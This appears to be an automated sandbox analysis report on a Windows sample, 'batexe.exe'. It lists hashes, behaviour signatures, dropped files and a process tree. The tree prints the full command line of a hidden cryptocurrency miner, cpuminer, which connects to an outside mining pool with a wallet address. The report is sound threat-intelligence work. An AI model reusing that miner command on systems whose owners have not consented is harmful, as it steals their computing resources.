73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 12:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2384	b2e.exe
2096	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2096	cpuminer-sse2.exe
2096	cpuminer-sse2.exe
2096	cpuminer-sse2.exe
2096	cpuminer-sse2.exe
2096	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/216-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 216 wrote to memory of 2384	216	batexe.exe	74
PID 216 wrote to memory of 2384	216	batexe.exe	74
PID 216 wrote to memory of 2384	216	batexe.exe	74
PID 2384 wrote to memory of 4500	2384	b2e.exe	75
PID 2384 wrote to memory of 4500	2384	b2e.exe	75
PID 2384 wrote to memory of 4500	2384	b2e.exe	75
PID 4500 wrote to memory of 2096	4500	cmd.exe	78
PID 4500 wrote to memory of 2096	4500	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:216
- C:\Users\Admin\AppData\Local\Temp\954B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\954B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\954B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\977D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\954B.tmp\b2e.exe

Filesize
704KB

MD5
2bb8bf63c7d7958f71f9307c8635131f

SHA1
2362f18b011bd1e60fa078052821edefa33b8e08

SHA256
85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

SHA512
59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\954B.tmp\b2e.exe

Filesize
8.1MB

MD5
7a3de1819ba1a330a41622a6c8c07d3a

SHA1
1e5881a0063de1d0aefbe629a6c3ef79b3b1e494

SHA256
ec04834e44d5ff945c9b35e7ce284c582abf50e5e73873504024d6eda79bb863

SHA512
53b11104936f35e4394c82143b83b81ffa0be6fcef92b3bf69db449dc053d6d06197f3a2cc216225eadd3e0fc0552e603e6351ba9f2b8125272f95c0d0d609e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\977D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
61e175abb907cea26df6c3e72e52dc1e

SHA1
7f09a3308a311484cfdf25d703e50ad0ba098fa9

SHA256
544ee7fa9ab8e2eb2d7e8a38e546fdb131ca87efc1e556476b762e7e0044e59e

SHA512
36216eeab1ba5a55c030b977b33e1cedb20721224045bf61a5cb510ed67555a0dd44ae68a86edb0c453c3e5526e42c0a8acd394263293290fddc7e965a2346ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.6MB

MD5
7c7002cd1df3645a7ce018d72ac97317

SHA1
bf7a49ad13daf5afd7da3d04b8b9393bd1a0ae6d

SHA256
d79423166bf56eed52a3bde5c075bb30415cf6731b8371e658ff04c861fa1560

SHA512
a157c774c265c5ff0bffb909b9e76f04b5b279b897ea874b3da5de2ead0528a46bdc95101ca36b36f76771b16c4ace27431b2abd80aeb2bf3a53f1529a8ea342

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.7MB

MD5
bee50489123bdcebb42c1be609b9a26a

SHA1
0a4fe569897fb69769b336d0f9549867b2b74ed6

SHA256
57450b4c80e1199ed6f5595e32d9b5869e460a55049d473fba85577ad0ef0b29

SHA512
79d22365ca9d9ffab2df24dfa328671255f8ad939ef5b1c867fd01603d6e66b858417321cedcee4fbe65245a5923950c9a0cd8279ae6d254dd7a3988bb55283d

Download Submit
memory/216-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2096-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2096-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2096-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-43-0x0000000056F30000-0x0000000056FC8000-memory.dmp

Filesize
608KB

Download
memory/2096-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/2096-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2096-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2384-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2384-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download